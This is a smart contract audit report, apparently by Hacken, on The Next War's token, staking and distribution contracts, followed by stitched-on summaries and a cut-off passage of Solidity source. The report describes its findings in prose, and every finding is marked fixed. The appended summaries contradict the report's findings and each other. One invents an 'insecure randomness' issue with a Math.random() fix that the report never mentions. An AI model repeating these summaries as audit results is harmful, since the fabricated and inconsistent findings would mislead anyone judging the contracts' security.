9 3 2c0302de T e c h n i c a l D o c u m e n t a t i o n : T y p e : W h i t e p a p e r L i n k : h t t p s : / / t h e n e x t w a r . g i t b o o k . i o / t h e - n e x t - w a r / t h e - n e x t - w a r - p l a t f o r m / i n t r o d u c t i o n J S t e s t s : Y e s C o n t r a c t s : F i l e : . / c o n t r a c t s / D i s t r i b u t i o n . s o l S H A 3 : 8 5 6 f 8 8 5 e 0 a d b f 7 9 1 5 3 3 d 8 5 5 9 4 e 7 b 4 8 7 0 1 c 2 c f a 0 b e 9 9 7 8 7 5 5 2 5 4 7 5 c 0 d 1 6 5 9 5 4 e 6 F i l e : . / c o n t r a c t s / T n g T o k e n . s o l S H A 3 : 4 f 7 4 a 1 b 8 f 6 8 b 7 8 0 6 a 7 1 b 5 7 a e 7 2 a 3 5 b d 2 d 3 2 d d a 4 a a 0 3 a b 8 3 4 2 d 8 a 0 0 9 7 1 8 6 2 5 c b d F i l e : . / c o n t r a c t s / T n c T o k e n . s o l S H A 3 : c 6 f e a 0 b 7 f f 8 c 9 c f f 1 e f 9 c 0 b b 8 9 2 d e 1 2 3 b d 1 0 4 3 b 8 d 9 c 3 9 7 6 1 c 7 f c f 5 3 7 8 1 b 0 a 1 e 1 F i l e : . / c o n t r a c t s / S t a k i n g . s o l S H A 3 : 8 6 1 2 e 9 b b b f 9 f 1 7 a 3 e 5 3 4 9 c b 1 a b 6 f 1 5 d 4 a 4 6 9 b c 6 4 8 0 f c 6 8 d e 5 1 2 5 2 f c 2 e 0 d b a 9 d 6 S e c o n d r e v i e w s c o p e R e p o s i t o r y : h t t p s : / / g i t h u b . c o m / T h e N e x t W a r / C o ntracts C o m m i t : 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f 0 0 a a 6 5 0 e 3936bf83 T e c h n i c a l D o c u m e n t a t i o n : T y p e : W h i t e p a p e r L i n k : h t t p s : / / t h e n e x t w a r . g i t b o o k . i o / t h e - n e x t - w a r / t h e - n e x t - w a r - p l a t f o r m / i n t r o d u c t i o n J S t e s t s : Y e s C o n t r a c t s : F i l e : . / c o n t r a c t s / D i s t r i b u t i o n . s o l S H A 3 : d 9 7 7 f c a c 0 1 e c f d 0 8 d 1 1 0 9 e d 5 d e c 0 a b 1 0 6 b 6 e 7 4 7 c 5 6 c e 0 6 6 0 0 3 d 6 d 1 1 5 e 7 f 2 f 6 8 5 F i l e : . / c o n t r a c t s / T n g T o k e n . s o l S H A 3 : d 9 0 0 b c 8 9 5 d a 2 a 0 0 c 9 1 2 c e e 8 4 9 5 b 2 1 3 a 7 a 6 d c 0 2 0 6 6 b e 7 1 2 c f c 6 4 4 7 3 b 9 6 5 9 2 f 1 a 6 F i l e : . / c o n t r a c t s / T n c T o k e n . s o l S H A 3 : 3 a 2 c f 8 b 7 2 0 1 a 2 4 8 3 1 2 5 8 5 a f b a 6 7 c 0 b 4 1 9 4 9 e 1 0 d 3 b 9 1 4 9 6 5 f b 5 8 6 9 f b 0 d 5 a 6 1 3 2 3 F i l e : . / c o n t r a c t s / S t a k i n g . s o l w w w . h a c k e n . i o S H A 3 : 8 4 3 0 d 9 f 4 2 a 0 7 e d c b 1 a 5 8 1 b 2 4 9 0 b a c 7 0 b d b d d 9 6 e f 9 2 8 a 4 d 0 6 7 a 7 7 3 b d 1 c a 1 3 7 d 7 a w w w . h a c k e n . i o S e v e r i t y D e f i n i t i o n s R i s k L e v e l D e s c r i p t i o n C r i t i c a l C r i t i c a l v u l n e r a b i l i t i e s a r e u s u ally straightforward to e x p l o i t a n d c a n l e a d t o a s s e t s l oss or data m a n i p u l a t i o n s . H i g h H i g h - l e v e l v u l n e r a b i l i t i e s a r e d ifficult to exploit; h o w e v e r , t h e y a l s o h a v e a s i g n i f icant impact on smart c o n t r a c t e x e c u t i o n , e . g . , p u b l i c access to crucial f u n c t i o n s . M e d i u m M e d i u m - l e v e l v u l n e r a b i l i t i e s a r e important to fix; h o w e v e r , t h e y c a n n o t l e a d t o a s s ets loss or data m a n i p u l a t i o n s . L o w L o w - l e v e l v u l n e r a b i l i t i e s a r e m o stly related to o u t d a t e d , u n u s e d , e t c . c o d e s n i p pets that cannot have a s i g n i f i c a n t i m p a c t o n e x e c u t i o n . w w w . h a c k e n . i o E x e c u t i v e S u m m a r y T h e s c o r e m e a s u r e m e n t d e t a i l s c a n b e f o u n d i n t h e c o r r e s p o n d i n g s e c t i o n o f t h e m e t h o d o l o g y . D o c u m e n t a t i o n q u a l i t y T h e C u s t o m e r p r o v i d e d a w h i t e p a p e r w i t h t e c h n i c a l d o c u m e n t a t i o n t h a t i n c l u d e s f u n c t i o n a l r e q u i r e m e n t s . T h e t o t a l D o c u m e n t a t i o n Q u a l i t y s c o r e i s 1 0 o u t o f 1 0 . C o d e q u a l i t y T h e t o t a l C o d e Q u a l i t y s c o r e i s 1 0 o u t o f 1 0 . C o d e i s w e l l s t r u c t u r e d a n d h a s a g o o d u n i t t e s t s c o v e r a g e a nd many comments. A r c h i t e c t u r e q u a l i t y T h e a r c h i t e c t u r e q u a l i t y s c o r e i s 1 0 o u t o f 1 0 . T h e l o g i c i s s e p a r a t e d f o r d i f f e r e n t f i l e s , f o l l o w i n g a s i n gle responsibility principle. S e c u r i t y s c o r e A s a r e s u l t o f t h e a u d i t , s e c u r i t y e n g i n e e r s f o u n d n o i s s u e s . T h e s e c u r i t y s c o r e i s 1 0 o u t o f 1 0 . A l l f o u n d i s s u e s a r e d i s p l a y e d i n the “Findings” section. S u m m a r y A c c o r d i n g t o t h e a s s e s s m e n t , t h e C u s t o m e r ' s s m a r t c o n t r a c t h a s t h e f o l l o w i n g s c o r e : 1 0 . 0 . w w w . h a c k e n . i o C h e c k e d I t e m s W e h a v e a u d i t e d p r o v i d e d s m a r t c o n t r a c t s f o r c o m m o n l y k n o w n a n d m o r e s p e c i f i c v u l n e r a b i l i t i e s . H e r e a re some of the items that are considered: I t e m T y p e D e s c r i p t i o n S t a t u s D e f a u l t V i s i b i l i t y S W C - 1 0 0 S W C - 1 0 8 F u n c t i o n s a n d s t a t e v a r i a b l e s v i s i b i l i t y s h o u l d b e s e t e x p l i c i t l y . V i s i b i l i t y l e v e l s s h o u l d b e s p e c i f i e d c o n s c i o u s l y . P a s s e d I n t e g e r O v e r f l o w a n d U n d e r f l o w S W C - 1 0 1 I f u n c h e c k e d m a t h i s u s e d , a l l m a t h o p e r a t i o n s s h o u l d b e s a f e f r o m o v e r f l o w s a n d u n d e r f l o w s . N o t R e l e v a n t O u t d a t e d C o m p i l e r V e r s i o n S W C - 1 0 2 I t i s r e c o m m e n d e d t o u s e a r e c e n t v e r s i o n o f t h e S o l i d i t y c o m p i l e r . P a s s e d F l o a t i n g P r a g m a S W C - 1 0 3 C o n t r a c t s s h o u l d b e d e p l o y e d w i t h t h e s a m e c o m p i l e r v e r s i o n a n d f l a g s t h a t t h e y h a v e b e e n t e s t e d t h o r o u g h l y . P a s s e d U n c h e c k e d C a l l R e t u r n V a l u e S W C - 1 0 4 T h e r e t u r n v a l u e o f a m e s s a g e c a l l s h o u l d b e c h e c k e d . N o t R e l e v a n t A c c e s s C o n t r o l & A u t h o r i z a t i o n C W E - 2 8 4 O w n e r s h i p t a k e o v e r s h o u l d n o t b e p o s s i b l e . A l l c r u c i a l f u n c t i o n s s h o u l d b e p r o t e c t e d . U s e r s c o u l d n o t a f f e c t d a t a t h a t b e l o n g s t o o t h e r u s e r s . P a s s e d S E L F D E S T R U C T I n s t r u c t i o n S W C - 1 0 6 T h e c o n t r a c t s h o u l d n o t b e d e s t r o y e d u n t i l i t h a s f u n d s b e l o n g i n g t o u s e r s . P a s s e d C h e c k - E f f e c t - I n t e r a c t i o n S W C - 1 0 7 C h e c k - E f f e c t - I n t e r a c t i o n p a t t e r n s h o u l d b e f o l l o w e d i f t h e c o d e p e r f o r m s A N Y e x t e r n a l c a l l . P a s s e d U n i n i t i a l i z e d S t o r a g e P o i n t e r S W C - 1 0 9 S t o r a g e t y p e s h o u l d b e s e t e x p l i c i t l y i f t h e c o m p i l e r v e r s i o n i s < 0 . 5 . 0 . N o t R e l e v a n t A s s e r t V i o l a t i o n S W C - 1 1 0 P r o p e r l y f u n c t i o n i n g c o d e s h o u l d n e v e r r e a c h a f a i l i n g a s s e r t s t a t e m e n t . N o t R e l e v a n t D e p r e c a t e d S o l i d i t y F u n c t i o n s S W C - 1 1 1 D e p r e c a t e d b u i l t - i n f u n c t i o n s s h o u l d n e v e r b e u s e d . P a s s e d D e l e g a t e c a l l t o U n t r u s t e d C a l l e e S W C - 1 1 2 D e l e g a t e c a l l s s h o u l d o n l y b e a l l o w e d t o t r u s t e d a d d r e s s e s . P a s s e d D o S ( D e n i a l o f S e r v i c e ) S W C - 1 1 3 S W C - 1 2 8 E x e c u t i o n o f t h e c o d e s h o u l d n e v e r b e b l o c k e d b y a s p e c i f i c c o n t r a c t s t a t e u n l e s s i t i s r e q u i r e d . P a s s e d R a c e C o n d i t i o n s S W C - 1 1 4 R a c e C o n d i t i o n s a n d T r a n s a c t i o n s O r d e r D e p e n d e n c y s h o u l d n o t b e p o s s i b l e . P a s s e d w w w . h a c k e n . i o A u t h o r i z a t i o n t h r o u g h t x . o r i g i n S W C - 1 1 5 t x . o r i g i n s h o u l d n o t b e u s e d f o r a u t h o r i z a t i o n . P a s s e d B l o c k v a l u e s a s a p r o x y f o r t i m e S W C - 1 1 6 B l o c k n u m b e r s s h o u l d n o t b e u s e d f o r t i m e c a l c u l a t i o n s . P a s s e d S i g n a t u r e U n i q u e I d S W C - 1 1 7 S W C - 1 2 1 S W C - 1 2 2 S i g n e d m e s s a g e s s h o u l d a l w a y s h a v e a u n i q u e i d . A t r a n s a c t i o n h a s h s h o u l d n o t b e u s e d a s a u n i q u e i d . P a s s e d S h a d o w i n g S t a t e V a r i a b l e S W C - 1 1 9 S t a t e v a r i a b l e s s h o u l d n o t b e s h a d o w e d . P a s s e d W e a k S o u r c e s o f R a n d o m n e s s S W C - 1 2 0 R a n d o m v a l u e s s h o u l d n e v e r b e g e n e r a t e d f r o m C h a i n A t t r i b u t e s . N o t R e l e v a n t I n c o r r e c t I n h e r i t a n c e O r d e r S W C - 1 2 5 W h e n i n h e r i t i n g m u l t i p l e c o n t r a c t s , e s p e c i a l l y i f t h e y h a v e i d e n t i c a l f u n c t i o n s , a d e v e l o p e r s h o u l d c a r e f u l l y s p e c i f y i n h e r i t a n c e i n t h e c o r r e c t o r d e r . P a s s e d C a l l s O n l y t o T r u s t e d A d d r e s s e s E E A - L e v e l - 2 S W C - 1 2 6 A l l e x t e r n a l c a l l s s h o u l d b e p e r f o r m e d o n l y t o t r u s t e d a d d r e s s e s . P a s s e d P r e s e n c e o f u n u s e d v a r i a b l e s S W C - 1 3 1 T h e c o d e s h o u l d n o t c o n t a i n u n u s e d v a r i a b l e s i f t h i s i s n o t j u s t i f i e d b y d e s i g n . P a s s e d E I P s t a n d a r d s v i o l a t i o n E I P E I P s t a n d a r d s s h o u l d n o t b e v i o l a t e d . N o t R e l e v a n t A s s e t s i n t e g r i t y C u s t o m F u n d s a r e p r o t e c t e d a n d c a n n o t b e w i t h d r a w n w i t h o u t p r o p e r p e r m i s s i o n s . P a s s e d U s e r B a l a n c e s m a n i p u l a t i o n C u s t o m C o n t r a c t o w n e r s o r a n y o t h e r t h i r d p a r t y s h o u l d n o t b e a b l e t o a c c e s s f u n d s b e l o n g i n g t o u s e r s . P a s s e d D a t a C o n s i s t e n c y C u s t o m S m a r t c o n t r a c t d a t a s h o u l d b e c o n s i s t e n t a l l o v e r t h e d a t a f l o w . P a s s e d F l a s h l o a n A t t a c k C u s t o m W h e n w o r k i n g w i t h e x c h a n g e r a t e s , t h e y s h o u l d b e r e c e i v e d f r o m a t r u s t e d s o u r c e a n d n o t b e v u l n e r a b l e t o s h o r t - t e r m r a t e c h a n g e s t h a t c a n b e a c h i e v e d b y u s i n g f l a s h l o a n s . O r a c l e s s h o u l d b e u s e d . N o t R e l e v a n t T o k e n S u p p l y m a n i p u l a t i o n C u s t o m T o k e n s c a n b e m i n t e d o n l y a c c o r d i n g t o r u l e s s p e c i f i e d i n a w h i t e p a p e r o r a n y o t h e r d o c u m e n t a t i o n p r o v i d e d b y t h e c u s t o m e r . P a s s e d G a s L i m i t a n d L o o p s C u s t o m T r a n s a c t i o n e x e c u t i o n c o s t s s h o u l d n o t d e p e n d d r a m a t i c a l l y o n t h e a m o u n t o f d a t a s t o r e d o n t h e c o n t r a c t . T h e r e s h o u l d n o t b e a n y c a s e s w h e n e x e c u t i o n f a i l s d u e t o t h e b l o c k G a s l i m i t . P a s s e d w w w . h a c k e n . i o S t y l e g u i d e v i o l a t i o n C u s t o m S t y l e g u i d e s a n d b e s t p r a c t i c e s s h o u l d b e f o l l o w e d . P a s s e d R e q u i r e m e n t s C o m p l i a n c e C u s t o m T h e c o d e s h o u l d b e c o m p l i a n t w i t h t h e r e q u i r e m e n t s p r o v i d e d b y t h e C u s t o m e r . P a s s e d R e p o s i t o r y C o n s i s t e n c y C u s t o m T h e r e p o s i t o r y s h o u l d c o n t a i n a c o n f i g u r e d d e v e l o p m e n t e n v i r o n m e n t w i t h a c o m p r e h e n s i v e d e s c r i p t i o n o f h o w t o c o m p i l e , b u i l d a n d d e p l o y t h e c o d e . P a s s e d T e s t s C o v e r a g e C u s t o m T h e c o d e s h o u l d b e c o v e r e d w i t h u n i t t e s t s . T e s t c o v e r a g e s h o u l d b e 1 0 0 % , w i t h b o t h n e g a t i v e a n d p o s i t i v e c a s e s c o v e r e d . U s a g e o f c o n t r a c t s b y m u l t i p l e u s e r s s h o u l d b e t e s t e d . P a s s e d S t a b l e I m p o r t s C u s t o m T h e c o d e s h o u l d n o t r e f e r e n c e d r a f t c o n t r a c t s , t h a t m a y b e c h a n g e d i n t h e f u t u r e . P a s s e d w w w . h a c k e n . i o S y s t e m O v e r v i e w T H E N E X T W A R i s a b l o c k c h a i n - b a s e d B a t t l e R o y a l e i n s p i r e d b y C a l l o f D u t y . A s h o o t e r g a m e f e a t u r i n g w o r l d - c l a s s t o u r n a m e n t s b r i n g i n g s h o o t e r e n t h u s i a s t s t o a w h o l e n e w l e v e l o f e x t r e m e g a m i n g . T h e s y s t e m h a s t h e f o l l o w i n g c o n t r a c t s : ● T n g T o k e n — a s i m p l e E R C - 2 0 t o k e n t h a t m i n t s a l l i n i t i a l s u p p l y t o a s p e c i f i e d d u r i n g d e p l o y a d d r e s s . Additional minting is not allowed. I t h a s t h e f o l l o w i n g a t t r i b u t e s : ○ N a m e : T H E N E X T W A R G E M ○ S y m b o l : T N G ○ D e c i m a l s : 1 8 ○ T o t a l s u p p l y : 5 b ( t o k e n s u p p l y c o u l d n o t b e v e r i f i e d b e f o r e t h e c o n t r a c t d e p l o y ) . ● T n c T o k e n — s i m p l e E R C - 2 0 t o k e n w ith not limited minting. I t h a s t h e f o l l o w i n g a t t r i b u t e s : ○ N a m e : T H E N E X T W A R C O I N ○ S y m b o l : T N C ○ D e c i m a l s : 1 8 ○ T o t a l s u p p l y : U n l i m i t e d . ● S t a k i n g — a c o n t r a c t t h a t r e w a r d s users for staking their tokens. ● D i s t r i b u t i o n - a c o n t r a c t t h a t i s r e s p o n s i b l e f o r t o k e n a l l o c a t i o n d i s t r i b u t i o n t o u s e r s . U s e r s c a n c l a i m a l l o c a t e d t o k e n s a c c o r d i n g t o t h e v e s t i n g r u l e s . P r i v i l e g e d r o l e s ● T h e o w n e r o f t h e D i s t r i b u t i o n c o n t r a c t c a n a l l o c a t e t o k e n s f o r a s p e c i f i c a d d r e s s ● T h e o w n e r o f t h e D i s t r i b u t i o n c o n t r a c t c a n r e s e t t o k e n a l l o c a t i o n f o r a s p e c i f i c a d d r e s s ● T h e o w n e r o f t h e D i s t r i b u t i o n c o n t r a c t c a n c h a n g e t h e v e s t i n g p e r i o d a n d p e r c e n t a g e p e r v e s t i n g r o u n d ● T h e o w n e r o f t h e D i s t r i b u t i o n c o n t r a c t c a n t r a n s f e r a n y t o k e n s e n t t o t h e c o n t r a c t ● T h e o w n e r o f t h e S t a k i n g c o n t r a c t c a n c h a n g e e m e r g e n c y w i t h d r a w a l f e e . T h e m a x f e e i s l i m i t e d t o 2 0% ● T h e o w n e r o f t h e S t a k i n g c o n t r a c t c a n c h a n g e t h e s t a k i n g l o c k p e r i o d ● T h e o w n e r o f t h e S t a k i n g c o n t r a c t c a n c h a n g e t h e s t a k i n g r e w a r d a m o u n t w w w . h a c k e n . i o F i n d i n g s C r i t i c a l 1 . I n c o n s i s t e n t d a t a . T h e ` d e p o s i t ` f u n c t i o n c h e c k s t h e b a l a n c e o f T N G t o k e n s , b u t t h e u s e r d e p o s i t s L P t o k e n s i n s t e a d . A s a r e s u l t - T N G t o k e n s a r e n o t u s e d d u r i n g t h e d e p o s i t b u t a r e r e q u i r e d t o b e o n t h e u s e r a c c o u n t f o r d e p o s i t o p e r a t i o n . T h e s a m e i s a p p l i c a b l e f o r t h e ` h a r v e s t ` f u n c t i o n a s w e l l . C o n t r a c t s : S t a k i n g . s o l F u n c t i o n : d e p o s i t , h a r v e s t R e c o m m e n d a t i o n : C h e c k t h e l o g i c o f t h e d e p o s i t f u n c t i o n . I f i t i s c o r r e c t - i t i s r e c o m m e n d e d t o h i g h l i g h t i n d o c u m e n t a t i o n s u c h b e h a v i o r . S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) H i g h 1 . M i s s i n g v a l i d a t i o n . T h e f u n c t i o n a l l o w s t o w i t h d r a w any tokens from the contracts. F u n d s t h a t b e l o n g t o u s e r s c a n b e affected. C o n t r a c t : S t a k i n g . s o l F u n c t i o n : r e s c u e T o k e n R e c o m m e n d a t i o n : E n s u r e t h a t u s e r ' s f u n d s w i l l n o t b e w i t h d r a w n u s i n g t h i s m e t h o d . I f ` _ t o k e n ` i s e q u a l t o t h e s t a k i n g t o k e n , t h e c o n t r a c t s h o u l d a l w a y s h a v e a b a l a n c e e q u a l t o ` l p T o k e n D e p o s i t e d ` + ` p e n d i n g T n g R e w a r d s ` . S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) 2 . I n s u f f i c i e n t r e w a r d s b a l a n c e . W i t h d r a w f u n c t i o n r e t u r n s t o t h e u s e r o r i g i n a l l y s t a k e d f u n d s a n d p a y s T N G r e w a r d . I n c a s e w h e n t h e c o n t r a c t d o e s n o t h a v e a T N G t o k e n - w i t h d r a w f u n c t i o n w o u l d b e b l o c k e d , a n d t h e u s e r w o u l d n o t b e a b l e t o r e t u r n o r i g i n a l l y s t a k e d f u n d s. C o n t r a c t s : S t a k i n g . s o l F u n c t i o n : w i t h d r a w R e c o m m e n d a t i o n : I m p l e m e n t t h e ` e m e r g e n c y W i t h d r a w ` f u n c t i o n , w h i c h r e t u r n s s t a k e d f u n d s w i t h o u t r e w ards. S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) 3 . S t a b l e i m p o r t s . w w w . h a c k e n . i o T h e c o d e s h o u l d n o t r e f e r e n c e d r a f t c o n t r a c t s t h a t m a y b e c h a n g e d i n t h e f u t u r e . T h e c u r r e n t i m p l e m e n t a t i o n o f S t a k i n g a n d D i s t r i b u t i o n c o n t r a c t s a l l o w s u p d a t i n g T N G t o k e n a d d r e s s after contract deployment. C o n t r a c t s : S t a k i n g . s o l , D i s t r i b u t i o n . s o l F u n c t i o n : s e t T n g T o k e n R e c o m m e n d a t i o n : R e m o v e t h e a b i l i t y t o u p d a t e t h e T N G t o k e n a d d r e s s a f t e r t h e d e p l o y m e n t . S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) M e d i u m 1 . U n n e c e s s a r y S a f e M a t h u s a g e . S o l i t i d y > = 0 . 8 . 0 p r o v i d e s e r r o r s f o r b u f f e r o v e r f l o w a n d u n d e r f l o w . N o n e e d t o u s e S a f e M a t h a n y m o r e . R e c o m m e n d a t i o n : D o n o t u s e S a f e M a t h . S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) 2 . T n c T o k e n a c c e s s l o s s i s p o s s i b l e . ` a u t h o r i z e ` m e t h o d o f T N C t o k e n i s a v a i l a b l e o n l y t o t h e o w n e r a n d a u t h o r i z e d u s e r , w h i c h b y d e f a u l t i s t r u e . T h e o w n e r i s a b l e t o r e s e t h i s a u t h o r i z a t i o n , a n d i n t h i s c ase, mint access would be lost. C o n t r a c t s : T n c T o k e n . s o l F u n c t i o n s : a u t h o r i z e R e c o m m e n d a t i o n : C h e c k i f t h e l o g i c o f h o w ` a u t h o r i z e ` i s i m p l e m e n t e d a n d ` r e q u i r e ( i s A u t h o r i z e d ) ` i s n ot a mistake. S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) 3 . U n c h e c k e d t r a n s f e r . T h e r e t u r n v a l u e o f a n e x t e r n a l t r a n s f e r / t r a n s f e r F r o m c a l l i s n o t c h e c k e d . S e v e r a l t o k e n s d o n o t r e v e r t i n c a s e o f f a i l u r e a n d r e t u r n f a l s e . I f o n e o f t h e s e t o k e n s i s u s e d i n S t a k i n g , t h e d e p o s i t w i l l n o t r e v e r t i f t h e t r a n s f e r f a i l s , a n d a n a t t a c k e r c a n c a l l t h e d e p o s i t f o r f r e e . C o n t r a c t s : S t a k i n g . s o l , D i s t r i b u t i o n . s o l F u n c t i o n s : d e p o s i t , w i t h d r a w , p a y T n g R e w a r d, claim, r e s c u e T o k e n R e c o m m e n d a t i o n : C h e c k t h e r e s u l t o f t h e t r a n s f er if i t i s t r u e . S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) L o w 1 . V a r i a b l e S h a d o w i n g . w w w . h a c k e n . i o S o l i d i t y a l l o w s f o r a m b i g u o u s n a m i n g o f s t a t e v a r i a b l e s w h e n i n h e r i t a n c e i s u s e d . C o n t r a c t A w i t h a v a r i a b l e x c o u l d i n h e r i t c o n t r a c t B , w h i c h h a s a s t a t e v a r i a b l e x d e f i n e d . T h i s w o u l d r e s u l t i n t w o s e p a r a t e v e r s i o n s o f x , a c c e s s e d f r o m c o n t r a c t A a n d t h e o t h e r f r o m c o n t r a c t B . I n m o r e c o m p l e x c o n t r a c t s y s t e m s , t h i s c o n d i t i o n c o u l d g o u n n o t i c e d a n d s u b s e q u e n tly lead to security issues. C o n t r a c t s : T n g T o k e n . s o l , T n c T o k e n . s o l , F u n c t i o n s : T n c T o k e n . c o n s t r u c t o r ( s t r i n g n a m e ) - > E R C 2 0 . n a m e ( ) , T n c T o k e n . c o n s t r u c t o r ( s t r i n g s y m b o l ) - > E R C 2 0 . s y m b o l ( ) , T n c T o k e n . c o n s t r u c t o r ( u i n t 2 5 6 t o t a l S u p p l y ) - > E R C 2 0 . t o t a l S u p p l y ( ) , T n g T o k e n . c o n s t r u c t o r ( s t r i n g n a m e ) - > E R C 2 0 . n a m e ( ) , T n g T o k e n . c o n s t r u c t o r ( s t r i n g s y m b o l ) - > E R C 2 0 . s y m b o l ( ) , T n g T o k e n . c o n s t r u c t o r ( u i n t 2 5 6 t o t a l S u p p l y ) - > E R C 2 0 . t o t a l S u p p l y ( ) R e c o m m e n d a t i o n : C o n s i d e r r e n a m i n g t h e f u n c t i o n a rgument. S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f 0 0aa650e3936bf83) 2 . T h e p u b l i c f u n c t i o n c o u l d b e d e c lared external. P u b l i c f u n c t i o n s t h a t a r e n e v e r c a l l e d b y t h e c o n t r a c t s h o u l d b e d e c l a r e d e x t e r n a l t o s a v e G a s . C o n t r a c t s : D i s t r i b u t i o n . s o l F u n c t i o n s : g e t C l a i m a b l e A m o u n t R e c o m m e n d a t i o n : U s e t h e e x t e r n a l a t t r i b u t e f o r f u n c t i o n s n e v e r c a l l e d f r o m t h e c o n t r a c t . S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) 3 . M i s s i n g e v e n t s a r i t h m e t i c T o s i m p l i f y o f f - c h a i n c h a n g e s t r a c k i n g , i t i s r e c o m m e n d e d t o e m i t e v e n t s w h e n a c r u c i a l p a r t o f t h e contract changes. C o n t r a c t s : D i s t r i b u t i o n . s o l , S t a k i n g . s o l F u n c t i o n s : s e t L o c k T i m e , s e t C l a i m a b l e , s e t TngPerSecond R e c o m m e n d a t i o n : E m i t a n e v e n t f o r c r i t i c a l p a r ameter c h a n g e s . S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) w w w . h a c k e n . i o D i s c l a i m e r s H a c k e n D i s c l a i m e r T h e s m a r t c o n t r a c t s g i v e n f o r a u d i t h a v e b e e n a n a l y z e d b y t h e b e s t i n d u s t r y p r a c t i c e s a t t h e d a t e o f t h i s r e p o r t , w i t h c y b e r s e c u r i t y v u l n e r a b i l i t i e s a n d i s s u e s i n s m a r t c o n t r a c t s o u r c e c o d e , t h e d e t a i l s o f w h i c h a r e d i s c l o s e d i n t h i s r e p o r t ( S o u r c e C o d e ) ; t h e S o u r c e C o d e c o m p i l a t i o n , d e p l o y m e n t , a n d f u n c t i o n a l i t y ( p erforming the intended functions). T h e a u d i t m a k e s n o s t a t e m e n t s o r w a r r a n t i e s o n t h e s e c u r i t y o f t h e c o d e . I t a l s o c a n n o t b e c o n s i d e r e d a s u f f i c i e n t a s s e s s m e n t r e g a r d i n g t h e u t i l i t y a n d s a f e t y o f t h e c o d e , b u g - f r e e s t a t u s , o r a n y o t h e r c o n t r a c t s t a t e m e n t s . W h i l e w e h a v e d o n e o u r b e s t i n c o n d u c t i n g t h e a n a l y s i s a n d p r o d u c i n g t h i s r e p o r t , i t i s i m p o r t a n t t o n o t e t h a t y o u s h o u l d n o t r e l y o n t h i s r e p o r t o n l y — w e r e c o m m e n d p r o c e e d i n g w i t h s e v e r a l i n d e p e n d e n t a u d i t s a n d a p u b l i c b u g b o u n t y p r o g r a m t o e n s u r e t h e security of smart contracts. T e c h n i c a l D i s c l a i m e r S m a r t c o n t r a c t s a r e d e p l o y e d a n d e x e c u t e d o n a b l o c k c h a i n p l a t f o r m . T h e p l a t f o r m , i t s p r o g r a m m i n g l a n g u a g e , a n d o t h e r s o f t w a r e r e l a t e d t o t h e s m a r t c o n t r a c t c a n h a v e v u l n e r a b i l i t i e s t h a t c a n l e a d t o h a c k s . T h u s , t h e a u d i t c a n n o t g u a r a n t e e t h e e x p l i c i t s e curity of the audited smart contracts. w w w . h a c k e n . i o
Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 0 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference) - Insecure randomness in Distribution.sol line 5 2.b Fix (one line with code reference) - Replace Math.random() with a secure randomness generator Observations - No Moderate, Major or Critical issues were found Conclusion - The Next War smart contracts have been reviewed and no major security issues were found. However, there is a minor issue that needs to be addressed. Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 0 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference): Unused code snippets in the contracts. (www.hacken.io) 2.b Fix (one line with code reference): Remove the unused code snippets. Observations - The repository is located at https://github.com/TheNextWar/Contracts - The commit is 0 2e100d34073a279c76c59ff00aa650e3936bf83 - The white paper type is available at https://thenextwar.gitbook.io/the-next-war/the-next-war-platform/introduction - JS tests are available - Distribution.sol, TngToken.sol, TncToken.sol and Staking.sol are the contracts available - SHA3 hashes are provided for each contract Conclusion The audit report shows that there are no critical issues in the contracts. However, there are minor issues related to unused code snippets which should be removed. Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 0 Critical: 0 Observations - The customer provided a white paper with technical documentation that includes functional requirements. - The total Documentation Quality score is 10 out of 10. - The total Code Quality score is 10 out of 10. - The code is well structured and has a good unit tests coverage and many comments. - The architecture quality score is 10 out of 10. - The logic is separated for different files, following a single responsibility principle. - As a result of the audit, security engineers found no issues. The security score is 10 out of 10. Conclusion According to the assessment, the customer's smart contract has the following score: 10.0. All found issues are displayed in the “Findings” section.
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract TngToken is ERC20 { constructor( string memory _name, string memory _symbol, uint256 _totalSupply, address _wallet ) ERC20 (_name, _symbol) { _mint(_wallet, _totalSupply * (10 ** decimals())); } }//SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract Distribution is Ownable { IERC20 public tngToken; uint256 public constant DENOM = 100000; // For percentage precision upto 0.00x% // Token vesting uint256[] public claimableTimestamp; mapping(uint256 => uint256) public claimablePercent; // Store the information of all users mapping(address => Account) public accounts; // For tracking uint256 public totalPendingVestingToken; // Counter to track total required tokens uint256 public totalParticipants; // Total presales participants event Register(address[] account, uint256[] tokenAllocation); event Deregister(address[] account); event Claim(address user, uint256 amount); event SetClaimable(uint256[] timestamp, uint256[] percent); struct Account { uint256 tokenAllocation; // user's total token allocation uint256 pendingTokenAllocation; // user's pending token allocation uint256 claimIndex; // user's 